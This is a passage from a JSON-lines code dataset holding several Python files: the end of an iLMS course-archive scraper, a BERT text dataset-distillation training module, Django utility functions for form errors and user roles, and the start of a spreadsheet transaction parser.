get_attachments(parent: Downloadable, element: lxml.html.HtmlElement) -> Iterator['Attachment']:\n ids = set()\n for a in element.xpath('.//a[starts-with(@href, \"/sys/read_attach.php\")]'):\n if a.text is None or not a.text.strip():\n continue\n url = yarl.URL(a.attrib['href'])\n id_ = int(url.query['id'])\n if id_ in ids:\n continue\n ids.add(id_)\n title = a.attrib.get('title', a.text)\n yield Attachment(\n id=id_,\n title=title,\n parent=parent,\n )\n\n\n@dataclasses.dataclass\nclass Course(Downloadable):\n \"\"\"歷年課程檔案\"\"\"\n\n id: int\n serial: str # 科號\n is_admin: bool\n name: str\n\n STATS_NAME = 'Course'\n\n async def download(self, client):\n generators = [\n self.get_announcements(client),\n self.get_materials(client),\n self.get_discussions(client),\n self.get_homeworks(client),\n self.get_scores(client),\n self.get_grouplists(client),\n ]\n for generator in generators:\n async for item in generator:\n yield item\n\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'courseID': self.id,\n 'f': 'syllabus',\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n\n main = html_get_main(html)\n with (client.get_dir_for(self) / 'index.html').open('wb') as file:\n file.write(lxml.html.tostring(main))\n\n async def _item_paginator(self, client, f, page=1):\n for page in itertools.count(page):\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'courseID': self.id,\n 'f': f,\n 'page': page,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n\n if table_is_empty(html):\n break\n\n yield html\n\n next_hrefs = html.xpath('//span[@class=\"page\"]//a[text()=\"Next\"]/@href')\n if not next_hrefs:\n break\n next_page = int(qs_get(next_hrefs[0], 'page'))\n assert page + 1 == next_page\n\n async def get_announcements(self, client) -> AsyncGenerator['Announcement', None]:\n async for html in self._item_paginator(client, 'news'):\n for tr in html.xpath('//*[@id=\"main\"]//tr[@class!=\"header\"]'):\n (href,) = tr.xpath('td[1]/a/@href')\n (title,) = tr.xpath('td[2]//a/text()')\n yield Announcement(\n id=int(qs_get(href, 'newsID')),\n title=title,\n course=self,\n )\n\n async def get_materials(self, client) -> AsyncGenerator['Material', None]:\n async for html in self._item_paginator(client, 'doclist'):\n for a in html.xpath('//*[@id=\"main\"]//tr[@class!=\"header\"]/td[2]/div/a'):\n url = yarl.URL(a.attrib['href'])\n if url.path != '/course.php' or url.query['f'] != 'doc':\n # linked material (the copy should still be downloaded)\n # XXX: this cannot be tested without logging in :(\n continue\n yield Material(\n id=int(url.query['cid']),\n title=a.text,\n type=a.getparent().attrib['class'],\n course=self,\n )\n\n async def get_discussions(self, client) -> AsyncGenerator['Discussion', None]:\n async for html in self._item_paginator(client, 'forumlist'):\n for tr in html.xpath('//*[@id=\"main\"]//tr[@class!=\"header\"]'):\n if tr.xpath('.//img[@class=\"vmiddle\"]'):\n # XXX: belongs to a homework, material\n # don't know if it is accessible\n continue\n (href,) = tr.xpath('td[1]/a/@href')\n (title,) = tr.xpath('td[2]//a/span/text()')\n yield Discussion(\n id=int(qs_get(href, 'tid')),\n title=title,\n course=self,\n )\n\n async def get_homeworks(self, client) -> AsyncGenerator['Homework', None]:\n async for html in self._item_paginator(client, 'hwlist'):\n for a in html.xpath('//*[@id=\"main\"]//tr[@class!=\"header\"]/td[2]/a[1]'):\n yield Homework(\n id=int(qs_get(a.attrib['href'], 'hw')),\n title=a.text,\n course=self,\n )\n\n async def get_scores(self, client) -> AsyncGenerator['Score', None]:\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'f': 'score',\n 'courseID': self.id,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n if not html.xpath(\n '//div[@id=\"main\"]//input[@type=\"button\" and @onclick=\"history.back()\"]'\n ):\n yield Score(course=self)\n\n async def get_grouplists(self, client) -> AsyncGenerator['GroupList', None]:\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'f': 'grouplist',\n 'courseID': self.id,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n if not table_is_empty(html):\n yield GroupList(course=self)\n\n\n@dataclasses.dataclass\nclass Announcement(Downloadable):\n \"\"\"課程活動(公告)\"\"\"\n\n id: int\n title: str\n course: Course\n\n STATS_NAME = 'Page'\n\n async def download(self, client: Client):\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/home/http_event_select.php',\n params={\n 'id': self.id,\n 'type': 'n',\n },\n ) as response:\n body_json = await response.json(content_type=None)\n\n if body_json['news']['note'] == 'NA' and body_json['news']['poster'] == '':\n raise Unavailable(body_json)\n\n attachment_raw_div = body_json['news']['attach']\n if attachment_raw_div is not None:\n for attachment in get_attachments(self, lxml.html.fromstring(attachment_raw_div)):\n yield attachment\n\n with (client.get_dir_for(self) / 'index.json').open('w', encoding='utf-8') as file:\n json.dump(body_json, file)\n\n\n@dataclasses.dataclass\nclass Material(Downloadable):\n \"\"\"上課教材\"\"\"\n\n id: int\n title: str\n type: str # \"Econtent\" or \"Epowercam\"\n course: Course\n\n STATS_NAME = 'Page'\n\n async def download(self, client: Client):\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'courseID': self.course.id,\n 'f': 'doc',\n 'cid': self.id,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n main = html_get_main(html)\n\n for attachment in get_attachments(self, main):\n yield attachment\n\n if self.type == 'Epowercam':\n video = await self.get_video(client, response.url)\n if video is not None:\n yield video\n\n with (client.get_dir_for(self) / 'index.html').open('wb') as file:\n file.write(lxml.html.tostring(main))\n\n async def get_video(self, client: Client, base_url: yarl.URL) -> Union[None, 'Video']:\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/sys/http_get_media.php',\n params={\n 'id': self.id,\n 'db_table': 'content',\n 'flash_installed': 'false',\n 'swf_id': f'swfslide{self.id}',\n 'area_size': '724x3',\n },\n ) as response:\n body_json = await response.json(content_type=None)\n if body_json['ret']['status'] != 'true':\n raise CannotUnderstand(f'Video not found: {self}, {body_json}')\n if body_json['ret']['player_width'] is None:\n # 轉檔中\n # {\"ret\":{\"status\":\"true\",\"id\":\"2475544\",\"embed\":\"...\",\n # \"player_width\":null,\"player_height\":null}}\n return None\n html = lxml.html.fromstring(body_json['ret']['embed'])\n (src,) = html.xpath('//video/@src')\n return Video(id=self.id, url=base_url.join(yarl.URL(src)))\n\n\n@dataclasses.dataclass\nclass Discussion(Downloadable):\n \"\"\"討論區\"\"\"\n\n id: int\n title: str\n course: Course\n\n STATS_NAME = 'Page'\n\n async def download(self, client: Client):\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/sys/lib/ajax/post.php',\n params={\n 'id': self.id,\n },\n ) as response:\n body_json = await response.json(content_type=None)\n if body_json['posts']['status'] != 'true':\n raise CannotUnderstand(body_json)\n\n for post in body_json['posts']['items']:\n for attachment in post['attach']:\n yield Attachment(\n id=int(attachment['id']),\n title=attachment['srcName'],\n parent=self,\n )\n\n with (client.get_dir_for(self) / 'index.json').open('w', encoding='utf-8') as file:\n json.dump(body_json, file)\n\n\n@dataclasses.dataclass\nclass Homework(Downloadable):\n \"\"\"作業\"\"\"\n\n id: int\n title: str\n course: Course\n\n STATS_NAME = 'Page'\n\n async def download(self, client: Client):\n # homework description\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'courseID': self.course.id,\n 'f': 'hw',\n 'hw': self.id,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n main = html_get_main(html)\n for to_remove in main.xpath('.//span[@class=\"toolWrapper\"]'):\n to_remove.getparent().remove(to_remove)\n\n for attachment in get_attachments(self, main):\n yield attachment\n\n with (client.get_dir_for(self) / 'index.html').open('wb') as file:\n file.write(lxml.html.tostring(main))\n\n # submitted homework\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'courseID': self.course.id,\n 'f': 'hw_doclist',\n 'hw': self.id,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n\n main = html_get_main(html)\n\n if table_is_empty(main):\n return\n\n (header_tr,) = main.xpath('.//div[@class=\"tableBox\"]//tr[@class=\"header\"]')\n field_indexes = {}\n for i, td in enumerate(header_tr):\n try:\n (a,) = td.xpath('a')\n except ValueError:\n continue\n field_indexes[qs_get(a.attrib['href'], 'order')] = i\n\n ititle = field_indexes['title']\n assert ititle == 1\n iname = field_indexes['name']\n assert iname > ititle\n\n for tr in main.xpath('//div[@class=\"tableBox\"]//tr[@class!=\"header\"]'):\n a_s = tr[ititle].xpath('div/a')\n if not a_s:\n continue\n (a,) = a_s\n id_ = int(qs_get(a.attrib['href'], 'cid'))\n title = a.text\n\n comments = tr[ititle].xpath('div/img[@src=\"/sys/res/icon/hw_comment.png\"]/@title')\n if comments:\n (comment,) = comments\n else:\n comment = None\n\n # Group homework may hide behind a <a>\n (by,) = tr[iname].xpath('div/text()|div/a/text()')\n\n yield SubmittedHomework(\n id=id_,\n title=title,\n by=by,\n comment=comment,\n course=self.course,\n )\n\n with (client.get_dir_for(self) / 'list.html').open('wb') as file:\n file.write(lxml.html.tostring(main))\n\n\n@dataclasses.dataclass\nclass SubmittedHomework(Downloadable):\n \"\"\"\n 作業 -> 已交名單 -> 標題[點進去]\n \"\"\"\n\n id: int\n title: str\n by: str\n course: Course\n comment: Optional[str] = None\n\n STATS_NAME = 'Page'\n\n async def download(self, client: Client):\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'courseID': self.course.id,\n 'f': 'doc',\n 'cid': self.id,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n\n main = html_get_main(html)\n\n for attachment in get_attachments(self, main):\n yield attachment\n\n with (client.get_dir_for(self) / 'index.html').open('wb') as file:\n file.write(lxml.html.tostring(main))\n\n\n@dataclasses.dataclass\nclass SinglePageDownloadable(Downloadable):\n course: Course\n\n STATS_NAME = 'Page'\n\n @property\n def extra_params(self) -> dict:\n raise NotImplementedError\n\n @property\n def id(self):\n return self.course.id\n\n @as_empty_async_generator\n async def download(self, client: Client):\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'courseID': self.course.id,\n **self.extra_params,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n main = html_get_main(html)\n\n with (client.get_dir_for(self) / 'index.html').open('wb') as file:\n file.write(lxml.html.tostring(main))\n\n\nclass Score(SinglePageDownloadable):\n \"\"\"\n 成績計算\n \"\"\"\n\n extra_params = {'f': 'score'}\n\n\nclass GroupList(SinglePageDownloadable):\n \"\"\"\n 小組專區\n \"\"\"\n\n extra_params = {'f': 'grouplist'}\n\n\n@dataclasses.dataclass\nclass Attachment(Downloadable):\n id: int\n title: str\n parent: Downloadable\n\n STATS_NAME = 'File'\n\n @as_empty_async_generator\n async def download(self, client):\n async with client.request(\n 'GET',\n f'{TARGET_ORIGIN}/sys/read_attach.php',\n params={\n 'id': self.id,\n },\n ) as response:\n with (client.get_dir_for(self) / self.suggest_filename()).open('wb') as file:\n async for chunk in response.content.iter_any():\n if not _workaround_client_response_content_is_traced:\n client.bytes_downloaded += len(chunk)\n file.write(chunk)\n\n def get_meta(self) -> dict:\n return {\n **super().get_meta(),\n 'saved_filename': self.suggest_filename(),\n }\n\n def suggest_filename(self) -> str:\n name = os.path.basename(self.title)\n if name == 'meta.json':\n return 'meta_.json'\n return ilmsdump.fileutil.replace_illegal_characters_in_path(name, '_')\n\n\n@dataclasses.dataclass\nclass Video(Downloadable):\n id: int\n url: yarl.URL\n\n STATS_NAME = 'File'\n\n @as_empty_async_generator\n async def download(self, client):\n async with client.request('GET', self.url) as response:\n with (client.get_dir_for(self) / 'video.mp4').open('wb') as file:\n async for chunk in response.content.iter_any():\n if not _workaround_client_response_content_is_traced:\n client.bytes_downloaded += len(chunk)\n file.write(chunk)\n\n\ndef generate_table(items):\n fields = [field.name for field in dataclasses.fields(items[0])]\n rows = [fields]\n rows.extend([str(getattr(item, field)) for field in fields] for item in items)\n widths = [max(map(wcwidth.wcswidth, col)) for col in zip(*rows)]\n for i, row in enumerate(rows):\n for j, (width, cell) in enumerate(zip(widths, row)):\n if j:\n yield ' '\n yield cell\n if j + 1 < len(row):\n yield ' ' * (width - wcwidth.wcswidth(cell))\n yield '\\n'\n if i == 0:\n for j, width in enumerate(widths):\n if j:\n yield ' '\n yield '-' * width\n yield '\\n'\n\n\ndef print_table(items):\n print(end=''.join(generate_table(items)))\n\n\nasync def foreach_course(\n client: Client, course_ids: List[Union[str, int]]\n) -> AsyncGenerator[Course, None]:\n for course_id in course_ids:\n if course_id == 'enrolled':\n async for course in client.get_enrolled_courses():\n yield course\n elif course_id == 'open':\n async for course in client.get_open_courses():\n yield course\n else:\n yield await client.get_course(int(course_id))\n\n\ndef validate_course_id(ctx, param, value: str):\n result: List[Union[str, int]] = []\n for course_id in value:\n if course_id in {'enrolled', 'open'}:\n result.append(course_id)\n elif not course_id.isdigit():\n raise click.BadParameter('must be a number or the string \"enrolled\"')\n else:\n result.append(int(course_id))\n return result\n\n\nclass CLISystemExit(SystemExit):\n pass\n\n\n@click.command(\n help=\"\"\"\n Dump the courses given by their ID.\n\n The string \"enrolled\" can be used as a special ID to dump all courses\n enrolled by the logged in user.\n\n The string \"open\" can be used as a special ID to dump all open courses.\n Downloading all open courses generates a lot of load & traffic on the server.\n Proceed with caution.\n \"\"\",\n)\n@click.option(\n '--logout',\n is_flag=True,\n help=\"\"\"\n Clear iLMS credentials.\n If specified with --login, the credentials is cleared first, then login is performed\n \"\"\",\n)\n@click.option(\n '--login',\n is_flag=True,\n help='Login to iLMS interactively before accessing iLMS',\n)\n@click.option(\n '--anonymous',\n is_flag=True,\n help='Ignore stored credentials',\n)\n@click.option(\n '-o',\n '--output-dir',\n metavar='DIR',\n default='ilmsdump.out',\n show_default=True,\n help='Output directory to store login credentials and downloads',\n)\n@click.option(\n '--ignore',\n multiple=True,\n help=f'''Ignore items specied as `CLASS` or `CLASS-ID`.\n\n Valid CLASSes are: {', '.join(Downloadable._CLASSES)}.\n\n Example: --ignore=Course-74 ignores Course with ID 74.\n --ignore=Video ignores all videos.''',\n)\n@click.option(\n '--dry',\n is_flag=True,\n help='List matched courses only. Do not download',\n)\n@click.option(\n '--resume',\n metavar='FILE',\n help='Resume download',\n)\n@click.option(\n '--no-resume-check',\n is_flag=True,\n help='Allow --resume and COURSE_IDS specified at the same time',\n)\n@click.argument(\n 'course_ids',\n nargs=-1,\n callback=validate_course_id,\n)\n@as_sync\nasync def main(\n course_ids,\n logout: bool,\n login: bool,\n anonymous: bool,\n output_dir: str,\n dry: bool,\n resume: str,\n ignore: list,\n no_resume_check: bool,\n):\n if not no_resume_check:\n if resume is not None and course_ids:\n raise CLISystemExit(\n '''\\\nError. Under usual cases, you do not need to specify COURSE_IDS when resuming.\nSpecifying --resume and COURSE_IDS at the same time may download a resource multiple times.\nYou can add --no-resume-check to bypass this check if you are sure what you are doing.'''\n )\n\n async with Client(data_dir=output_dir) as client:\n d = Downloader(client=client)\n changed = False\n if logout:\n changed |= client.clear_credentials()\n\n if not anonymous:\n await client.ensure_authenticated(prompt=login)\n changed |= login\n\n targets = []\n ignores = set(ignore)\n if resume is not None:\n with open(resume, 'rb') as file:\n resmue_data = pickle.load(file)\n targets.extend(resmue_data['items'])\n ignores.update(resmue_data['ignore'])\n if course_ids:\n courses = [course async for course in foreach_course(client, course_ids)]\n if courses:\n print(end=''.join(generate_table(courses)))\n targets.extend(courses)\n\n if targets:\n changed = True\n if not dry:\n await d.run(targets, ignore=set(ignore))\n if not changed:\n click.echo('Nothing to do', err=True)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"afq984/ilmsdump","sub_path":"ilmsdump/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":41864,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"61"} +{"seq_id":"3854238975","text":"import argparse\nimport logging\nimport time\nfrom collections import OrderedDict\n\nimport torch\nfrom torch.cuda import amp\nfrom torch.nn import functional as F\nfrom torch.optim import SGD, Adam\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nfrom transformers import get_linear_schedule_with_warmup\n\nfrom evaluate import evaluate\nfrom model import BertClassifier\n\nlogger = logging.getLogger(__name__)\n\n\nclass DistilledData:\n def __init__(\n self,\n input_embeds_shape,\n num_classes,\n data_size=1,\n label_type=\"hard\",\n attention_label_type=\"none\",\n attention_label_shape=None,\n ):\n # config\n self.num_classes = num_classes\n self.data_size_per_class = data_size\n self.label_type = label_type\n self.attention_label_type = attention_label_type\n\n self.init_distilled_data(\n input_embeds_shape, attention_label_shape=attention_label_shape\n )\n\n def init_distilled_data(\n self,\n input_embeds_shape,\n attention_label_shape=None,\n ):\n # initialize inputs_embeds (M * S * E)\n self.inputs_embeds = torch.randn(\n self.num_classes * self.data_size_per_class, *input_embeds_shape\n )\n # initialize labels (M * C)\n label_classes = torch.tensor(\n [[c] * self.data_size_per_class for c in range(self.num_classes)]\n ).view(-1)\n self._labels = torch.eye(self.num_classes)[label_classes]\n # initialize attention labels (M * L * H * S * S)\n if self.attention_label_type != \"none\":\n assert attention_label_shape is not None\n self._attention_labels = torch.randn(\n self.num_classes * self.data_size_per_class, *attention_label_shape\n )\n # initialize learning rate and decay factor\n self.model_lr, self.step_lr_gamma = None, None\n\n @property\n def labels(self):\n if self.label_type == \"soft\":\n return F.softmax(self._labels, dim=-1)\n else:\n return self._labels\n\n @property\n def attention_labels(self):\n if self.attention_label_type:\n return F.softmax(self._attention_labels, dim=-1)\n else:\n return None\n\n def init_trainer(self, args, train_loader):\n # training settings\n self.n_distill_epochs = args.n_distill_epochs\n self.distill_lr = args.distill_lr\n self.max_grad_norm = args.distill_max_grad_norm\n self.n_inner_steps = args.n_inner_steps\n self.optimize_lr = args.optimize_lr\n self.accum_loss = args.accum_loss\n self.random_init = args.random_init\n self.device_ids = args.device_ids\n self.logging_steps = args.logging_steps\n self.device = args.device\n self.use_amp = args.use_amp\n self.dtype = args.dtype\n self.attention_kl_lambda = args.attention_kl_lambda\n\n if self.model_lr is None:\n self.model_lr = torch.tensor(args.distill_model_lr)\n if self.step_lr_gamma is None:\n self.step_lr_gamma = torch.tensor(args.distill_step_lr_gamma)\n\n # set on device\n self.inputs_embeds = self.inputs_embeds.to(self.device)\n self._labels = self._labels.to(self.device)\n if self.attention_label_type != \"none\":\n self._attention_labels = self._attention_labels.to(self.device)\n self.model_lr = self.model_lr.to(self.device)\n self.step_lr_gamma = self.step_lr_gamma.to(self.device)\n\n # train data loader\n self.train_loader = train_loader\n # number of traning steps\n num_tot_train_steps = len(train_loader) * self.n_distill_epochs\n # set optimizer of distilled data\n self.optimize_param_list = [self.inputs_embeds]\n if self.label_type != \"hard\":\n self.optimize_param_list += [self._labels]\n if self.attention_label_type != \"none\":\n self.optimize_param_list += [self._attention_labels]\n if self.optimize_lr:\n self.optimize_param_list += [self.model_lr, self.step_lr_gamma]\n for param in self.optimize_param_list:\n param.requires_grad = True\n self.d_optimizer = Adam(self.optimize_param_list, lr=args.distill_lr)\n # scheduler (linear decay with linear warmup)\n self.d_scheduler = get_linear_schedule_with_warmup(\n self.d_optimizer,\n int(num_tot_train_steps * args.distill_warmup_ratio),\n num_tot_train_steps,\n )\n # gradient scaler for mixed precision\n self.scaler = amp.GradScaler(enabled=self.use_amp)\n # initial model parameters\n self.initial_state_dict = torch.load(args.initial_model_path)\n\n def train_distilled_data(self, model: BertClassifier, epoch: int):\n # set model on device\n model = model.to(self.device)\n # initialize model\n model.load_state_dict(self.initial_state_dict)\n # training loop\n cur_num, cur_before_loss, cur_after_loss = 0, 0, 0\n cur_before_correct, cur_after_correct = 0, 0\n with tqdm(self.train_loader, ncols=140, desc=f\"Epoch[{epoch+1}]\") as pbar:\n for outer_step, (input_ids, attention_mask, labels) in enumerate(pbar):\n # initialize model parameters\n if self.random_init:\n model.reset_additional_parameters()\n # model parameters\n weights = OrderedDict(model.named_parameters())\n\n batch_size = len(input_ids)\n cur_num += batch_size\n\n # acc & loss of initial parameters (before updating with distilled data)\n with torch.no_grad():\n with amp.autocast(dtype=self.dtype, enabled=self.use_amp):\n before_losses, before_logits, _ = model.forward_with_params(\n input_ids=input_ids.to(self.device),\n attention_mask=attention_mask.to(self.device),\n labels=labels.to(self.device),\n weights=weights,\n )\n cur_before_loss += before_losses.mean().item() * batch_size\n cur_before_correct += (\n before_logits.cpu().argmax(1).eq(labels).sum().item()\n )\n\n # update model parameters with distilled data\n loss = 0\n for inner_step in range(self.n_inner_steps):\n # forward\n d_losses, _, bert_outputs = model.forward_with_params(\n inputs_embeds=self.inputs_embeds,\n labels=self.labels,\n weights=weights,\n output_attentions=True,\n )\n d_loss = d_losses.mean()\n if self.attention_label_type != \"none\":\n attn_weights = torch.stack(bert_outputs[\"attentions\"], dim=1)\n if self.attention_label_type == \"cls\":\n attn_weights = attn_weights[..., 0, :]\n assert attn_weights.shape == self.attention_labels.shape\n d_attn_kl = F.kl_div(\n torch.log(attn_weights + 1e-12), self.attention_labels\n )\n d_loss = d_loss + d_attn_kl * self.attention_kl_lambda\n d_loss = d_loss * self.model_lr * (self.step_lr_gamma**inner_step)\n\n # backward\n grads = torch.autograd.grad(\n d_loss, weights.values(), create_graph=True, allow_unused=True\n )\n # update parameters (SGD)\n weights = OrderedDict(\n (name, param - grad) if grad is not None else (name, param)\n for ((name, param), grad) in zip(weights.items(), grads)\n )\n\n if self.accum_loss or (inner_step + 1) == self.n_inner_steps:\n # loss of updated parameters (after each gradient step)\n with amp.autocast(dtype=self.dtype, enabled=self.use_amp):\n after_losses, after_logits, _ = model.forward_with_params(\n input_ids=input_ids.to(self.device),\n attention_mask=attention_mask.to(self.device),\n labels=labels.to(self.device),\n weights=weights,\n )\n after_loss = after_losses.mean()\n loss += after_loss\n\n cur_after_loss += after_loss.item() * batch_size\n cur_after_correct += (\n after_logits.cpu().argmax(1).eq(labels).sum().item()\n )\n\n self.d_optimizer.zero_grad()\n # backward\n self.scaler.scale(loss).backward()\n # unscale gradients (for gradient clipping)\n self.scaler.unscale_(self.d_optimizer)\n # gradient cliping\n torch.nn.utils.clip_grad_norm_(\n self.optimize_param_list, self.max_grad_norm\n )\n self.scaler.step(self.d_optimizer)\n self.scaler.update()\n self.d_scheduler.step()\n\n # logging\n if (outer_step + 1) % self.logging_steps == 0:\n logger.info(\n \"Epoch[{:.2f}] | (before) loss: {:>6.4f}, acc: {:5.2%}\"\n \" -> (after) loss: {:>6.4f}, acc: {:5.2%}\"\n \" | lr={:.2E}, gamma={:.2f}\".format(\n epoch + (outer_step + 1) / len(pbar),\n cur_before_loss / cur_num,\n cur_before_correct / cur_num,\n cur_after_loss / cur_num,\n cur_after_correct / cur_num,\n self.model_lr.item(),\n self.step_lr_gamma.item(),\n )\n )\n cur_num, cur_before_loss, cur_after_loss = 0, 0, 0\n cur_before_correct, cur_after_correct = 0, 0\n\n # update infomation of progress bar\n pbar.set_postfix(\n {\n \"loss\": f\"{after_loss.item():.4}\",\n \"lr\": f\"{self.d_scheduler.get_last_lr()[0]:.1E}\",\n \"gd_scale\": f\"{self.scaler.get_scale()}\",\n }\n )\n\n def train_model_on_distilled_data(\n self, model: BertClassifier, init_model: bool = False\n ):\n if init_model:\n # initialize model parameters (fixed initial parameters)\n model.load_state_dict(self.initial_state_dict)\n # optimizer\n model_opt = SGD(model.parameters(), lr=1.0)\n # gradient updating with distilled data\n start_time = time.time()\n for inner_step in range(self.n_inner_steps):\n # forward\n losses, _, bert_outputs = model(\n inputs_embeds=self.inputs_embeds,\n labels=self.labels,\n output_attentions=True,\n )\n loss = losses.mean()\n if self.attention_label_type != \"none\":\n attn_weights = torch.stack(bert_outputs[\"attentions\"], dim=1)\n if self.attention_label_type == \"cls\":\n attn_weights = attn_weights[..., 0, :]\n assert attn_weights.shape == self.attention_labels.shape\n attn_kl = F.kl_div(\n torch.log(attn_weights + 1e-12), self.attention_labels\n )\n loss = loss + attn_kl * self.attention_kl_lambda\n loss = loss * self.model_lr * (self.step_lr_gamma**inner_step)\n # backward\n model_opt.zero_grad()\n loss.backward()\n model_opt.step()\n end_time = time.time() - start_time\n logger.info(f\"Time for model traning : {end_time:.2f}s\")\n\n @property\n def data_dict(self):\n return {\n \"config\": {\n \"input_embeds_shape\": self.inputs_embeds.shape[1:],\n \"num_classes\": self.num_classes,\n \"data_size\": self.data_size_per_class,\n \"label_type\": self.label_type,\n \"attention_label_type\": self.attention_label_type,\n \"attention_label_shape\": self._attention_labels.shape[1:]\n if self.attention_label_type != \"none\"\n else None,\n },\n \"inputs_embeds\": self.inputs_embeds.cpu().data,\n \"labels\": self._labels.cpu().data,\n \"attention_labels\": self._attention_labels.cpu().data\n if self.attention_label_type != \"none\"\n else None,\n \"lr\": self.model_lr.cpu().data,\n \"gamma\": self.step_lr_gamma.cpu().data,\n }\n\n def save_distilled_data(self, path):\n # save data as dict\n torch.save(self.data_dict, path)\n\n @classmethod\n def load_distilled_data(cls, path):\n \"\"\"\n examples:\n distilled_data = DistilledData.load_distilled_data(path)\n distilled_data.train_model_on_distilled_data\n \"\"\"\n # load data from path\n data_dict = torch.load(path)\n # make new instance\n distilled_data = cls(**data_dict[\"config\"])\n # set pretrained distilled data and learning rate\n distilled_data.inputs_embeds = data_dict[\"inputs_embeds\"]\n distilled_data._labels = data_dict[\"labels\"]\n distilled_data.model_lr = data_dict[\"lr\"]\n distilled_data.step_lr_gamma = data_dict[\"gamma\"]\n distilled_data._attention_labels = data_dict[\"attention_labels\"]\n\n return distilled_data\n\n\ndef test_distilled_data(\n args: argparse.Namespace,\n model: BertClassifier,\n distilled_data: DistilledData,\n train_loader: DataLoader = None,\n test_loader: DataLoader = None,\n init_model: bool = False,\n):\n assert train_loader is not None or test_loader is not None\n\n # initialize model\n if init_model:\n model.load_state_dict(torch.load(args.initial_model_path))\n\n # test initial model on test dataset\n if train_loader is not None:\n before_train_acc, before_train_loss = evaluate(args, model, train_loader)\n # test initial model on test dataset\n if test_loader is not None:\n before_test_acc, before_test_loss = evaluate(args, model, test_loader)\n\n # train model with distilled data\n distilled_data.train_model_on_distilled_data(model)\n\n # test trained model on train dataset\n if train_loader is not None:\n after_train_acc, after_train_loss = evaluate(args, model, train_loader)\n logger.info(\n \"Evaluate on Train dataset | (before) loss: {:>6.4f}, acc: {:5.2%}\"\n \" -> (after) loss: {:>6.4f}, acc: {:5.2%}\".format(\n before_train_loss,\n before_train_acc,\n after_train_loss,\n after_train_acc,\n )\n )\n\n # test trained model on test dataset\n if test_loader is not None:\n after_test_acc, after_test_loss = evaluate(args, model, test_loader)\n logger.info(\n \"Evaluate on Test dataset | (before) loss: {:>6.4f}, acc: {:5.2%}\"\n \" -> (after) loss: {:>6.4f}, acc: {:5.2%}\".format(\n before_test_loss,\n before_test_acc,\n after_test_loss,\n after_test_acc,\n )\n )\n\n return after_test_acc\n","repo_name":"arumaekawa/text-dataset-distillation","sub_path":"src/distill.py","file_name":"distill.py","file_ext":"py","file_size_in_byte":15805,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"27347206020","text":"from django.contrib.auth.models import User, Group\n\n\ndef get_auto_id(model):\n auto_id = 1\n try:\n latest_auto_id = model.objects.all().order_by(\"-date_added\")[:1]\n if latest_auto_id:\n for auto in latest_auto_id:\n auto_id = auto.auto_id + 1\n except:\n pass\n return auto_id\n\n\ndef generate_form_errors(args,formset=False):\n i = 1\n message = \"\"\n if not formset:\n for field in args:\n if field.errors:\n message += \"\\n\"\n message += field.label + \" : \"\n message += str(field.errors)\n\n for err in args.non_field_errors():\n message += str(err)\n elif formset:\n for form in args:\n for field in form:\n if field.errors:\n message += \"\\n\"\n message += field.label + \" : \"\n message += str(field.errors)\n for err in form.non_field_errors():\n message += str(err)\n\n message = message.replace(\"<li>\", \"\")\n message = message.replace(\"</li>\", \"\")\n message = message.replace('<ul class=\"errorlist\">', \"\")\n message = message.replace(\"</ul>\", \"\")\n return message\n\n\ndef get_current_role(request):\n is_superadmin = False\n is_admin = False\n is_staff = False\n is_student = False\n is_editor = False\n\n if request.user.is_authenticated:\n\n if User.objects.filter(id=request.user.id,is_superuser=True,is_active=True).exists():\n is_superadmin = True\n\n if User.objects.filter(id=request.user.id,is_active=True,groups__name=\"admin\").exists():\n is_admin = True\n\n if User.objects.filter(id=request.user.id,is_active=True,groups__name=\"staff\").exists():\n is_staff = True\n\n if User.objects.filter(id=request.user.id,is_active=True,groups__name=\"editor\").exists():\n is_editor = True\n\n if User.objects.filter(id=request.user.id,is_active=True,groups__name=\"student\").exists():\n is_student = True\n\n current_role = \"user\"\n if is_superadmin:\n current_role = \"superadmin\"\n elif is_admin:\n current_role = \"admin\"\n\n elif is_staff:\n current_role = \"staff\"\n\n elif is_editor:\n current_role = \"editor\"\n\n elif is_student:\n current_role = \"student\"\n\n return current_role","repo_name":"Ramshidali/times-world-assignment","sub_path":"users/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15456009979","text":"from collections import namedtuple\nfrom openpyxl import load_workbook\nfrom datetime import date\nimport sys\n\nTransaction = namedtuple('Transaction', ['date', 'id', 'last_name', 'first_name', 'order_id', 'message', 'amount'])\n\ndef to_infinity(start=0):\n while True:\n yield start\n start += 1\n\ndef transactions(wb):\n sheet = wb['Salgsrapport']\n for i in to_infinity(9):\n row = sheet[i]\n if row[0].value == \"Sum\":\n break\n\n d, m, y = map(int, row[0].value.split(\".\"))\n\n yield Transaction(\n date=date(y, m, d),\n 